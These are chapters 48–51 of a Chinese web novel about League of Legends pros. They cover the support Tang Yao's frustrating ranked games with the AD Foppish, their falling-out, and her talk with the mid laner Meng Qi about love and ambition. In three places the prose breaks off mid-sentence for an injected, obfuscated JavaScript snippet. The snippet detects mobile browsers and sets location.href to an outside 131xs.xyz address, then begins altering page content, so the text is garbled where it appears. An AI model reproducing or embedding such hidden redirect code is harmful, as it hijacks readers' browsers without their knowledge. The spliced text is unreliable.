汤瑶绝对不是想跟她玩，只是孟麒打的组排一直强度很高，而且已知中野是她和MIFA，强度对局和顶级队友，这是任何一个对这个游戏有追求的玩家都无法拒绝的配置。不过就在她打算高冷的答应下来时，对方又补充了一句：AD是Foppish，你介意吗？介意我就再换个。 汤瑶深吸一口气，在心里诅咒谢回打野的时候BUFF被老鼠毒，惩龙的时候被平A抢，拿手的时候被AOE溅射K。 人当然不介意，事情也很常见，但是心里就是有点不舒服。 她想问，又感觉有点恶心。 可能是半天没有回复，那边很善解人意是说那换个AD。 诶诶诶，这也没必要嘛！汤瑶主打一个水端平，肯定不会有意冷落李君诚，所以还是直接问了：“所以是你想找我玩，还是Foppish想找我玩？” “我找你当然是我想。”孟麒回答的很大方，“他应该也很想，只是我不知道你想不想，所以问问你。谢回说他好像在追你来着。” 天灵灵地灵灵，大漏勺男人快点去死！！ 汤瑶做完法，又很客气的问：“那你想跟他玩吗？不熟会不会尴尬。” “不会啊，圆姐固定队AD是个退役青训，比Foppish差远了，补强谁不乐意呢？” 汤瑶想问‘喊我也是补强吗’，打出来之后感觉真的很像深柜，于是抖着鸡皮疙瘩删掉了，换诚了更简短的：“好。” 高冷地联系完这边，她转头又去找李君诚‘算账’。 【姜汁汽水】：？ 【姜汁汽水】：你是私生饭？ 【Foppish】：o.0 【Foppish】：姜老师我是你粉丝 【姜汁汽水】：[咒骂][咒骂]你能不能别什么事都跟别人说[咒骂]保护点个人隐私行不行！ 【姜汁汽水】：下次你洗澡要不要也开直播啊！ 【Foppish】：你要看吗？ 【姜汁汽水】：去死 【姜汁汽水】：认真的 【姜汁汽水】：你想跟我玩就直接跟我说，别这样拐弯抹角 【Foppish】：[小狗哭哭] 【Foppish】：你自己偷偷玩都没不跟我说 【姜汁汽水】：那还不是因为你说你放假就不打LOL！ 【Foppish】：跟你玩就想 【姜汁汽水】：好好表现 【姜汁汽水】：别给我丢人！ 48. 第 48 章 汤瑶刚进频道，还没戴耳机就看到MIFA前面的绿灯一直亮着。 戴上一听，又是一场鸡飞狗跳的大戏。 “来啊来啊，四等一。”谢回平时说普通话很标准，但是有情绪波动或者语气很快的时候就有□□味，“都认识都朋友，玩两把呗。” “不。” “就打两把。” “没空。” 谢回叹了口气，回来说：“他不想来。怎么说，要不然你去喊张新宇吧。” 李君诚意味不明的唔了声：“他来不了。”顿了顿，“他跟那谁又复合了，现在被母蚊子咬一口都要写检讨。” “OK，懂了。”谢回的声音又变远了，“打啊打啊，来呗。我让你打野，或者你跟孟麒换着来中，我都可以补。” “No way。” “喂啥都不能NO，赶紧来。” “你…”徐知睿有意把声音放低了一点，但他显然不太清楚谢回的麦克风收音能力有多强，依然有只言片语传了过来，“我不是跟你说过……” “唉哟！玩游戏而已啊，都是哥们朋友，那咋了？你就是想太多！来吗，来噻！” …… “密码的，颜一中天天耍大牌。可惜回打不过他，讲这么多不如直接锁喉。”李君诚听得有点挠头了，“估计一时半会好不了，我就去清个日常。”他那边传来了手游启动的声音，“好了喊我啊，我戴着半边麦。” 虽然早就知道谢回很爱胡搅蛮缠，但到这种程度实在是让人叹为观止，汤瑶忍不住又给孟麒发私聊。 【姜汁汽水】：他一直这样吗 【7】：always 她点了下翻译，懂了。 【姜汁汽水】：。。妈呀，好惨 之前谢回因为财路被李君诚断耿耿于怀，还专门找过汤瑶。他破天荒的主动联系她，发很可爱的表情包，用可怜兮兮的语气问她自己哪里做得不好了，为什么不需要他了。她完全知道他的每个字都出于对金钱的渴望，但也不的不佩服他太知道如何利用自己的天然优势在社交里进攻了。当时那个架势，但凡她手里有点闲钱，她一定会在他的那种语气里生出几分不该有的愧疚。 还好，贫穷让她道心如铁。 【姜汁汽水】：就是都太惯着他了！ 【7】：[灵魂出窍] 【7】：反正现在不是我受苦 一区组排充斥着陪玩代打，高手云集，比演员之巅的含金量高很多。孟麒上得是梁圆圆大号，每赛季都是双王者，这赛季场次不多，但隐藏分可想而知。虽然孟麒说随便玩玩不用当单子打，但汤瑶还是摩拳擦掌，想要好好表现一下。 谢回业务很熟练，一排进去就先用人脉问了有没有知名车队，确定没撞车之后就让随便玩。 就这样欢声笑语的打了几把，把把都是半个小时内结束战斗，而且熟人局的喜剧效果很足，气氛很快就热络起来。 时间到了晚上，排队的速度一下子变快了，在突然秒进之后，谢回带来了新消息：“把卡莉斯塔和卑尔维斯BAN了，撞车了。” “谁啊？”李君诚问。 “你不认识，不是选手，绝活哥。孟麒应该有印象，之前经常碰到。” “喔喔，我知道。”孟麒说是，“还是那个固定队吗？” “那不知道，我就知道是他俩。问题不大，先BAN了再说，他们要换人也说不定。” 孟麒说：“我出吧，给我拿杰斯。”结果选完了又改主意，“算了，杰斯给……他吧。我想往后看看。” 惜字如金的Deserve终于说话了：“我不会上单杰斯。” “你特么上单能有会的吗？上把青钢影打万豪0-4，害得老子两件套打团被一拳轰死，你能是人类？”谢回说，“玩什么不是玩！让你去就去。” “也行。”孟麒却又改了注意，“那我杰斯上单吧……你去中。” Deserve完全不客气：“给我拿沙皇。” ……好家伙，真敢骑脸啊。上半年孟麒就是因为沙皇太抽象结结实实被嘲讽了好几轮，B站上还有好几首沙皇劝学的金曲，后面春决虽然发挥不错但还是不敌Deserve，然后又是一轮拉踩和黑粉狂欢。这也太大胆了吧！ 汤瑶都在担心气氛会不会很僵硬，结果孟麒非常通情达理，甚至尾音带着一点儿没有过的昂扬：“好呗~” 这对吗？ 说好的打完一次比赛就骂八百次呢。 刚选完两个，对面一楼就直接锁了女警。 “这么自信？还是说摆烂了。”李君诚想了想，“给我拿德莱文，或者轮子妈也行。汤汤，你要我玩什么？” “轮子妈吧，我们这阵容不缺输入。” 虽然知道对面速推，但考虑到队伍缺控制缺前排，还是选了个泰坦补短。 结果谢回打野补了个AP莉莉娅，控制是有了，但这摆明了就要住在上路。 汤瑶其实是有点不高兴的，破速推最好就是打野多来断节奏，尤其女警这种前中期英雄，只要前面花点时间按住了就很好解决……唉，算了，算了，又不是打比赛，他们开心就行。反正轮子妈对线也比女警强，稳点打最多难受点，问题应该也不大。 结果万万没想到，对面女警的熟练度非常高，一级带个露露的盾又A兵又点人，几乎没有瑕疵的进出草攒爆头加拉仇恨，直接给她打得到抽一口凉气：“我的妈呀，我以为卡莉斯塔绝活都是绝症AD来着。” 谢回果然是下半区开野往上去：“不是啊，是他们上单爱玩滑板鞋，我们上单太菜了——上把的。” “……那能来下吗，我可以开，兵线已经控不住了。” “我想速四，刷完了再来吧。” 特么你刷完黄花菜都凉了，真服了！ 汤瑶没办法，只能嗑药了硬扛着拉线抢经验，不然要被从头压到尾了。同步到二级，第一时间就穿兵勾住了走位失误的露露，女警第一时间丢夹子，精准夹住因为手短想跟就必须上前的轮子妈，在一声“草”中，局势瞬间逆转，两人又被追着点了一套。 李君诚也是受不了：“我草，打野来啊救命啊，要死了要死了！这个B追着我点。” “那你忍一下。”谢回压根没刷自己家的上半区野，往对面家去了，“不死就行了。” “你吗的，你这是人话？你不来我送了。” 汤瑶知道女警熟练度很高，夹子也放得很有水平，但她还是耿耿于怀。线都控不住了，二级完完全可以先学e，这下子蝴蝶效应，牢底坐穿。普通娱乐局就算了，这是正儿八经的高分组排，她眼里就有点容不得沙子，连带着两人嘻嘻哈哈的互怼都听得很不爽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326054|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道你很急，但是你先别急。”谢回慢慢悠悠绕到对面上单屁股后面，简简单单抓下一血，“没事，哥随便C。” 确实，谢回住在上路抓得很有效果，不仅自己和杰斯发育的很好，本来对面打野一直中路给压力，也被逼得去不得不去上面守护了。 下路一直都没有被干扰，可就被压得喘不过来气。汤瑶真得很不服，她因为她看得出来对面璐璐没有任何熟练度，除了给盾之外技能都是瞎放，自己为了阵容考虑选了比较笨重的硬辅，女警走位警觉，完全不给机会，几乎是全靠个人实力在1v2。 虽然谢回很渣男的嘴上答应着，从来也没来，倒是徐知睿找了个机会t下，帮着缓了一大口气，还让了头给李君诚，这才让他补到了发育。 到了中期，开始转线跟团，虽然中上野轮流发力，每次都能赢团拿资源，但对面一直都是女警拿头，还被四保一，所以即便处于劣势也给了不小的麻烦。到最后只能野辅一起给大才能按得住，靠着大家齐心协力的配合，才算是拿下了胜利。 赢是赢了，但心里很不舒服。 排队的时候大家又在聊天，李君诚一边清活动任务一边抱怨个不停：“早点来下路，能让那女警那么肥吗？你们这些野核都是瘤子！上把你们比赛，你给徐知睿吃过蓝吗？” “我草了，他卢锡安中不拿又咋了，后面不是给红了吗？” “红是AD的，又能是你的了？” “所有野都是我的！他妈的打野这么累，野怪还给你们分上了？md下把你别想吃红。” “来，来，试试。” 第二把排进去，正好是李君诚一楼，他直接锁了老鼠。谢回在麦里冷笑：“sb，我上面开，不要你们帮。” “那最好，你从上面刷下来，给我抓。” 两个人叽里呱啦的吵着，该选人的二三楼却都空着。 “你还去中吧。”孟麒先开口了，选出了刀妹。 “你去吧。”徐知睿说，“不然下路太难受了。”他锁了青钢影，把技能改成了tp和点燃，“上上把是意外。” 很快轮到汤瑶选了，她还在生闷气。 玩硬辅最难受的就是被放养，虽然对面拿了泰坦，她也应该拿个硬辅顶，但是她不想了，倒计时的时候选了个露露。 很快确定阵容，一进去，结果又是上把的人。 她立刻坐正了身子，打起一百二十分的精神对待。软辅的优势就是保护和消耗，正反手交换，她还是比对面辅助强，这次对面没选女警而是手短的卡莎，没了射程优势，她就把上把的怨气全都发泄了出来，不停进出草抓timing利用平a和eq消耗，老鼠只需要安心补刀，随便点两下，就能拿到巨大的优势。 她贱兮兮的一步一停，打着圈儿勾引泰坦出勾，扭掉了之后就发表情，还原地反复按出充满魔性的笑声嘲讽。 结果风水轮流转，这把下路大优势，上路又着火。 老鼠没有位移本来就是硬伤，对面还有泰坦这种强锁加卡莎和塞拉斯的无脑冲阵，中期打了好几波，优势荡然无存，苦战了将近四十分钟，还是被推掉了基地。 卡莎边a边来到泉水前，发起了弱爆。 “问题不大。”连胜被打断，但没有影响开黑的气氛，“一比一，出去了赶紧排，应该还能撞上。” 49. 第 49 章 出去之后没能秒排，时间一分一秒过去，复盘分锅也就开始了—— 谢回那边应该是拖着椅子凑过去了：“徐知睿，算我求你了，你能不能别玩青钢影了。你这个上单简直是……你是人吗？怎么谁都打不过啊，你简直是、是……” “嗯，人尽可欺。”孟麒冷不丁的补充。 徐知睿摆了下麦，本来就小的声音变得更小，但听得出很不服：“我不是二级就杀了吗？我怎么打不过了，那我对线荒漠蜘蛛我能怎么办？他们打野为什么住上路你心里没数吗？你能让蜘蛛这种东西抓起来，肯定是你的问题啊。” “你点燃打tp杀是应该的。但是你二级杀了然后从二级被杀到六级，这把下路优势我肯定要控小龙的，你稳住不就行了。” “不是，蜘蛛加鳄鱼我怎么稳？我挂机？” “你可以呆二塔嘛，忍一时风平浪静。” “你怎么不让我泉水挂着？” “主要是五排挂机其他人也一样扣分。”谢回说着，又笑了下，“怎么真红温了，不至于不至于，哥给你抓还不行吗！” “我不打了，我不会玩上单。” “你去中嘛，孟麒不是也说让你去中，你非要去上。” “……她上单也不怎么样。” 好大的胆子！！！ 他怎么老这么口出狂言啊！ 结果孟麒又笑，一点儿都不生气：“行行行，那你去中，谢回上单，我去打野。”顿了顿，补充道，“我给你抓就是了呗。” “这总行了吧。你看你，人家两个女孩子都没你脾气大，真是少爷！看好了，下把哥给你表演什么是顶级青钢影！” 汤瑶听得津津有味，总觉得手里少了把瓜子。 排了将近十分钟才终于进去，一切照常，谢回去问，过了会说没人回他，李君诚又一声不吭空ban了。 “这么装？”谢回问，“要发力了吗诚少？” 李君诚的麦终于亮了，一阵手忙脚乱的嘈杂声：“我操，排太久开了我没注意，刚在刷材料草啊掉率好恶心。嘢，你们换位置了？” “对啊，我俩都带t，给你打五包二，好吧！” “可以，那……我相信，那搞把亚飞。”李君诚直接锁下了，“有两天没玩亚飞了，感觉身上有蚂蚁在爬。” 汤瑶那股无名火又蹿上来了。 明明对面双人组一二楼就出了莎弥拉泰坦，他又要选这种没位移的大C。上把就是辛辛苦苦当一整把保姆，最后该活不了还是活不了，这把比上把还恶劣，结果又这样。 这就是他说得要好好表现吗？ 不是说很想一起玩吗，为什么还要见缝插针玩手游？！ 这把谢回上单青钢影，徐知睿中路阿卡丽，孟麒选了挖掘机打野，是进攻性拉满的冲阵阵容，就算带了两个TP，打团还是得靠自己来保后排。 其实她也可以打得再团队点，选个洛什么的一起冲，或者方便游走的进去和孟麒贴贴，野辅双游。但她实在不忍心让李君诚可怜兮兮坐牢，再三思考后，选了锤石。 进入游戏，果然是熟悉的ID，又是他们。 大家简单沟通了一下开局，等了半天，游戏也没进去，各自又确认了一下，就知道是对面有人掉了。 就这样等了一会儿。 “不是，你是啥b吗？” 冷不丁的，第六个人的声音传了过来。 汤瑶连忙切到频道去看是谁的麦。 孟麒的绿灯亮了，是她很疑惑的声音：“怎么了？” 第六个人说：“撞三把了还没发现是我吗？老子就在你边上，你瞎啊。” “啊？？”她听起来和大家一样惊讶，接着就是移动的声音，大概是过去看了，“我靠，AD是你啊，我就说那个卡莎有点凶，你怎么不说。” “我他妈第一把的时候就喊你了，你没听到，然后我就想知道你到底什么时候能发现，他们说谢回在还在问，我都没让他们说。” “你是不是窥屏了？” “你切屏都能给人切出癫痫，窥几把。再说了，打你们要窥屏？一只手的事情。” “你最好真的只用一只手。” “傻b。”他不接茬，“我们打野断网了，正在往网吧去。” 这会儿大家都知道是谁了。 ——QY今年的新AD Renlu 汤瑶的心情非常复杂。根据这两年的观赛经历，任卢一直是她心里的t1 AD，虽然他的成绩只能算是差强人意，但这游戏也讲运气，他就属于很倒霉的那一类，几乎每年战队和队友都要出问题，很难不让人唏嘘。 抛开场外因素，从他的绝活之一是女警这种老牌AD就知道，他的基本功相当顶级，而且打了这么多年职业，版本更迭，他每赛季都能拿出热门强势的英雄，而且几乎都有名场面，是舆论口中除了SOVA之外最当得起四保一的ADC。 要汤瑶说，SOVA也是不如他的，也许曾经很厉害吧，不过她没见证过，所以没感觉。 一点儿不夸张的说，去年Renlu在THG最后一舞，带队拿下最后一张门票，给她看得泪流满面，还短暂地当过他半个月梦女——不是幻想霸道竞男爱上我，而是幻想在召唤师峡谷里双宿双飞。 也许辅助的劣根性就是慕强吧，一个厉害的选手就是魅力十足，其他一切缺点在绝对的个人实力面前都变得可以忽略不计。她对孟麒是改观是这个理由，对AD就更容易有滤镜了。 汤瑶当然也没忘自己现在的身份，所以压下各种情绪，开麦提醒了：“喂，你一定要听我的。” “昂，昂啊！知道。”李君诚反应还算及时，但手游的音效也一起传了过来，“肯定听。” 她听到那个音效就生气，如果是和自己的朋友五黑，她现在已经退了。她实在没心情，赌气的又说：“算了，随便你吧。” 等了好久，对面的打野总算是在网吧重连上了。 游戏开始，李君诚这才后知后觉的从大家的对话里知道了对面AD是任卢，他吐槽了两句，然后说已经在群里cue过了。 大家问起，他才说AD们也有个群，不过人不多，群主也是现在在QY的leek，拉了很多很多各种AD，他不怎么聊，但是知道任卢很活跃，跟leek关系也不错。 谢回对这个话题很有经验：“还别说，我之前也有中单群，最差的也是绝活宗师，差不多二三十个…不对，好像有三四十个。不过因为照顾不过来，太忙了，群就死了。” “牛。”李君诚又问，“那你俩在他群里吗？” “不在。”谢回替他们回答了，“而且我知道孟麒游戏好友的分组只有两个，一个是打野，一个是其他。她列表里全是打野，全是——之前打单子，要是觉得对面打野厉害，人家要加她好友她也加！” “那咋了？”孟麒理直气壮，“这是中单魅力时刻。” “呵呵，那你队里现在的打野显得你很没魅力。” “这个游戏厉不厉害不是最重要的。”孟麒说，“人家比你听话，哦，还比你年轻。” “我草了，啊啊啊啊孟麒你不许跟我说这么伤人的话！！！！我要马上打车回基地！！！！啊啊啊啊！！！！你太狠心了！！” “我真伤心了，孟～麒～” “哄我一下～～孟麒。” “我要是伤心生病了我发挥不好全都怪你，影响成绩的话徐知睿也会恨你的。” “喂，关我什么事！” “麒麒你来帮我抓一下，我就原谅你了。” “都是AD不好抓啊。”孟麒云淡风轻，往中路标了个正在路上，“你加油吧。” 上中野又开始了新一轮的鸡飞狗跳。 很热闹，但是很可惜，汤瑶正在一百二十分用心的对线。莎弥拉这种英雄是双刃剑，强起来无解，但滚不出优势就完全没作用。她知道对面辅助是短板，所以必须专注对线，尽早尽快打出优势才行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326055|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她精神高度专注，几乎看穿了泰坦的所有行动，挡了所有走不了位的钩，还靠着精准的反钩打出了对线优势和两个头。 不过这把下路很热闹，两边的打野中单都轮流来，各种混战，她一刻也没有放松，成功的让脆皮厄斐琉斯全身而退，至于对面熟练度不够的泰坦自然就做不到了，双方AD早早就拉开了等级装备的优势。 汤瑶看着优势很大，孟麒也没刷野经常来抓，也就打算回馈一下，千叮咛万嘱咐道：“你塔下补刀，我去先锋逛一下。” 谢回的上单确实很强，在没有骚扰的情况下单杀了两次，优势很大，对面大概率不会要资源，她过去仅仅也是给一下视野，方便后续入侵野区。 结果她刚到先锋附近，就跳了下路的击杀。 厄斐琉斯双杀，但莎弥拉拿了终结。 再一看，双招也交了，她简直两眼一黑。 实在忍住开麦了：“马上小龙也要刷了，你这怎么办？！” “没事，泰坦没技能没大招了。” 那能是一回事吗？莎弥拉补了一大口钱和经验，本来龙都不敢看一眼的，现在可以接团了。泰坦没大还有平A啊，反正它都烂了，上去卖命也行。自己倾注了这么多精力照顾他、养活他，结果就是十几秒的事情，反手又被送回去一半。 她强忍着没发作，毕竟大家伙儿都是优势，能赢就行，没必要吹毛求疵。 结果就是蝴蝶效应，又是和前两把一样的剧情，对面又开始接团，四保一给莎弥拉拿头。明明前期已经废了的莎弥拉，又发育了起来。 等到了中期，莎弥拉再次成为了麻烦。 但是，也还好。还好是莎弥拉。这把控制打断都有，只要打大团就能发挥阵容优势，最怕就是对面做视野抓人，打人数差。上中野都很灵活，倒不担心，最怕的就是厄斐琉斯这没位移的大脆皮。 她几乎是放弃了半区视野，寸步不离跟着AD。 眼看着龙魂就要刷新，她不得不要去做视野，于是转了圈在他边上催着他回家：“走了，小龙团了。” 她是看着两个人一起回城的，结果看了会儿装备界面，落地发现只有自己，再一看小地图，两个红点已经出来了。 看着又死在节骨眼的AD，汤瑶几乎要晕过去了：“不是一起回的城吗？” “我看炮车线，想再打把长剑。” 算了，算了，随便吧。 汤瑶脑子嗡嗡的，闭了麦，愤怒地用力地更新了装备买了眼，开始用信号替代语言，再也不说话了。 这把打得非常折磨纠结，总是互相掉链子，小龙打了六条才拿到龙魂，大龙打了三条也被抢了一次，高地都复活了两波，最后只能靠谢回的青钢影带线，其他人拖回城，他一个人在高地顶着塔踢死了中野，这才艰难取胜。 “我操！！燃尽了！！”打完谢回长出一口气，但是语气是架不住的得意，“看见了没？哥这样的才是青钢影！喂？孟麒说话，我帅吗？” “还行吧。” “你掉那么多大小龙我都没说你！不然哪这么费劲！” 他们又在叽叽喳喳乱战，汤瑶关掉了排队，疲惫的开麦：“我先不玩了，有点累，你们玩。拜拜。”接着直接关掉了电脑。 “诶？汤…下了，这么快。” “啊，她累啥，我都没说累！我草了，老子手都打麻了。哦，那诚你还打不打？喂，孟麒说话，夸下我会死？” 李君诚还在考虑：“我也有点累啊。” 徐知睿说话了：“有没有一种可能，她好像是生气了。” 三个人都很震惊，异口同声的“啊”了起来。 这让徐知很尴尬，呃了声，解释道：“你们感觉不出来吗？她一开始还挺活泼的，刚刚都不说话了。” “不是说累了吗？”谢回不解。 “没有吧，她还在给我发消息。”孟麒也说，她顿了一下，应该是在回消息，然后补充，“反正……起码不是生我气。” 50. 第 50 章 原来元宝说得没有错。 那天遵从内心的拒绝不是对破天富贵的诚惶诚恐，而是对自我意识太强的本能防御机制启动了——李君诚是很好，但Foppish不行。她这样天上有地下无的辅助king，怎么能配一个能被作出二十分钟背景板集锦的中游AD啊！！！ 她不是觉得他给得太多，是觉得他做得还远远不够。 汤瑶本来对AD就非常挑剔，李君诚这回更是一边说追一边把雷点趟了个遍。她实在是觉得他和自己遇到的任何一个AD都一样，傲慢自大又自私，而且耳朵也有问题。 她关了电脑，还是越想越气，一怒之下翻到了好久之前的消费记录，直接把那次做美容的钱按原价给他转了回去，并说会把卡按程序转给他。 她说：“我觉得我俩完全不合适。” 李君诚天都塌了。 惊慌之下不敢回复，先给徐知睿打了个语音。 还好接了。 “救命，救命救命，她真生气了。怎么办？我怎么回？我要说什么？” “……我怎么知道！！”徐知睿被无语道，“你又不是没谈过恋爱，哄女人的事问我干嘛。” “主要是我不知道她为什么生气啊。” “那你问啊。” “那问了不就更生气吗？” “不懂。不知道为什么不问？这不是显得你很在乎她感受吗？” “但是女生会觉得连错哪儿都不知道，然后更生气了。” “不是事实如此吗？”徐知睿莫名其妙，“反正都是要道歉的，多气一点少气一点也没什么差别吧。” “你怎么也这么直男啊？受不了你！”李君诚显得很失望，“亏得谢回还说你是……算了，拜拜。” “什么？喂？！谢回又说我什么了？！” …… 李君诚给汤瑶打语音。 打了一个挂一个，挂一个打一个，就这样拉扯了好一会，总算是接了。 “你有事吗？”汤瑶显得很不耐烦，“我没钱了，你就算告我我最多只能给你分期。” “什么呀……怎么了，到底怎么了汤汤～” “我没事啊。”她的语气充满了释然，“我就是想通了，我觉得我俩不合适，没可能，所以告诉你，你别浪费精力浪费钱了。” “为什么？哪里不合适？你是觉得刚刚哪里不开心吗？你可以告诉我呀。” “没有啊。”她撇撇嘴，“我没资格管你。” 李君诚快急死了：“你有！你有！求你了，你骂我两句吧。” 另一头是长久的沉默。 等得他都开始怀疑是不是信号断了的时候，总算传来了说话声。 “打之前我不让你好好表现吗？你说你想跟我一起玩，结果你又一直打手游，谁逼着你非要来的吗？你把把嘻嘻哈哈先选个没位移的自己开心，对线一点不考虑视野，团战不注意走位，你不想就算了，我说了也不听，我活该把把给你当保姆吗？我有一把去游走过吗？我每把每把都跟着你就怕你玩得不难受，你考虑过我吗？轮子妈轮子妈对不过女警，这个版本首选老鼠，知道我们冲阵还选个厄斐琉斯恶心我，我辛辛苦苦把你养起来，一秒钟没看你就死给我看，我是没说吗？你要我怎么样？如果这已经是你所谓的喜欢我的全部表现了，那我真是担当不起！” “……我，我…我没、呃，我…我不是故意的。” “没必要，没什么好道歉的。反正也不是真心的。”经历过Shark的事情后，汤瑶已经不相信AD的任何花言巧语了。如果他真的能懂自己的难能可贵，他就不会那么浪费自己了。他也没有什么区别，他也只是被下半身支配才觉得自己特别的，“就这样了，就这样，说多了就难看了。” 语音被挂断，一切戛然而止。 再打，就被拉黑了。 …… 汤瑶也很委屈，既庆幸当时的拒绝，又因为每次都这样而有些心酸。男人总是这样，所有男人都是这样。她失落又彷徨的打开了和孟麒的聊天窗口。 【姜汁汽水】：你现在是不是单身？ 【7】：对啊 【姜汁汽水】：可以问问为什么分手吗？ 【7】：不太可以 【姜汁汽水】：好吧 【姜汁汽水】：那你喜欢什么样的男生？还是说你现在一心搞事业。 【7】：搞事业又不影响我搞男人 【7】：喜欢帅的 …… 【姜汁汽水】：？ 【姜汁汽水】：没了？？？ 不是，作为别人口中的先锋女性代表人物，她不应该对男人有更高的追求吗？如果她对男人那么随便，那她为什么又能不屑一顾的说出那些话呢？她真的很想知道。 【7】：帅是最重要的，不帅的话什么优点都没用。如果对这一张一言难尽的脸，我实在没心情讨论什么人生理想，也绝不会有什么灵魂共鸣。 【姜汁汽水】：。。。。 【姜汁汽水】：你这也。。。 【姜汁汽水】：道理是这个道理……但、但就这些了吗？ 【7】：不然呢？ 【7】：我应该许愿一个并不相干的男人变成六边形战士然后以浪漫的形式出现在我的生活里，馈赠我美妙的爱情，然后期盼因为一个男人的到来让我的人生幸福精彩吗？ 【7】：如果这个世界真的存在美梦成真的神奇魔法，为什么要给别人用？ 【7】：所以只要漂亮就行了，对我来说一段美好的感情就是跟帅哥谈恋爱，因为感情只是我生活里很寻常的一部分，不需要也不应该占用我太多精力和运气。 没有想象中苦大仇深的控诉，也没有振聋发聩的口号，孟麒谈论起爱情观的口吻就像评测一款冰淇淋那么简单。汤瑶有点懂了，只是瘾有些匮乏的语言让她不知道要如何描述心中的共鸣。 过了很久，她才打出了一行字。 【姜汁汽水】：所以，其实每个出现一个完美男人就意味着背后有一个或者很多个不完美的女人对吧。 【7】：当然了。 【7】：哪怕只是小说里，任何一个正面角色都需要无数反面角色衬托。每个充满魅力的男主角建立在吸女人血的基础之上，需要各种各样的炮灰甲乙丙衬托他的深情和优秀，这种过分的角色也会掩盖女主的光环，还会让书外的读者对他偏爱有加。不论虚构还是现实，人们总喜欢把美好的寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326056|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托放在男人身上，希望他们神圣而高贵。 【7】：反正我做不到那么伟大，我不会为任何人牺牲。 【姜汁汽水】：这是你不喜欢谢回的原因吗？ 【7】：yeap 【7】：观众每个一句对他用情至深的赞扬都是对我天赋和努力的羞辱，当我发现我没办法用语言沟通的时候，就只能用行为来证明了。 【7】：我总得证明没有他我一样很好，甚至更好。 其实今年QY的成绩并不怎么样……而且跟DQ差远了，虽然汤瑶对任卢有滤镜加成，但在全网押宝DQ可以打成金色王朝的风向下，她其实也不太相信自己的感觉。 【姜汁汽水】：你还挺自私 【7】：哈哈 【姜汁汽水】：我也很自私的 【7】：哈哈哈 【姜汁汽水】：但我们是不一样的 【姜汁汽水】：就像是每写一本觉醒打脸的大女主爽文，就意味着需要更多愚蠢可恶的女人当背景板。你已经是个出尽风头的女主角了，我们已经没有什么戏份啦。 【姜汁汽水】：我做不到你这么豁达 【姜汁汽水】：就算神灯然后我只能许三个愿望，我也会拿出一个，让它给我分配一个最最厉害的AD。 【姜汁汽水】：我包容不了男人一点，只能男人包容我 【7】：我的第六感不怎么准，如果冒犯了先抱歉 【7】：你是喜欢任卢吗？或者……欣赏？ 【7】：虽然我不想八卦，但是你走了之后他们确实在讨论你有没有生气以及为什么生气。 【7】：我也是刚刚才想到，也许是连着三把foppish被爆线让你觉得很不爽，不过你又懒得当教练管教他，所以你觉得现成的任卢很好，以至于有那么点念念不忘。 【7】：但我的建议还是没有抖m倾向就不要对他有任何幻想。 【姜汁汽水】：。。。。 【姜汁汽水】：你反射弧真长 她没有否认，也没有解释。 【姜汁汽水】：我是不是很低级，很幼稚？ 【7】：干嘛非要别人评价你 【7】：如果想往前走，太在乎别人看法是不行的 【姜汁汽水】：你也很在乎啊，如果你不在乎别人的评价干嘛要拆cp证明自己呢！ 【7】：不，不是哦。 【7】：我不是为了“证明”而“证明”，我从一开始就没想过要和谁同行，我的改变只是让事情的发展能回到我预设的轨道而已。 【7】：也许你的茫然是因为你不知道自己想要什么？ 【姜汁汽水】：我知道啊 【姜汁汽水】：我想要个好AD。 【姜汁汽水】：你不打辅助你根本不懂，一个好AD就是辅助最好的装备。 【7】：什么才是“好”？ 【姜汁汽水】：……如果我说我觉得是任卢呢。 【7】：那么今年转会期是11月23号。 汤瑶在这天晚上又做梦了，在梦里，关于她的讨论再也不是妆容和八卦，她出现在明媚的绚烂的阳光下，和一个面容模糊的长发女生一起高举着奖杯。 51. 第 51 章 冷静下来想想，李君诚也没有犯什么滔天大罪。 第二天汤瑶就收到了谢回代为转账的那笔转过去，实际上他压根都没收的钱。他们大概是真的讨论过了，谢回也简单解释了两句，说虽然段位很高但其实大家都是当五黑随便玩的，如果有什么矛盾可以聊一聊，真不至于。 她没要钱，也没有回，不过把李君诚从黑名单里放出来了。 只是不知道要说些什么。 她一直以为喜欢才会欣赏，她以为有爱才会珍惜。但是其实不是的，不知道从什么时候开始，爱就成了最大的并集，不论真的假的，只要用上这个理由，所有好的坏的都会被包容被淹没。谢回对孟麒是这样，李君诚对自己也是这样。也不是所有人都会遇到这样的困境，因为在关于这样爱情的故事里，男人总是因为付出而拥有主导权，女人们总是索取——所以也总是会被淹没。 她不想问他为什么，也不想再得到什么承诺，因为他一定会说她想听的，可她没办法分辨他的回答里究竟有几分理性和客观。 【Foppish】：我都睡不着 【Foppish】：？ 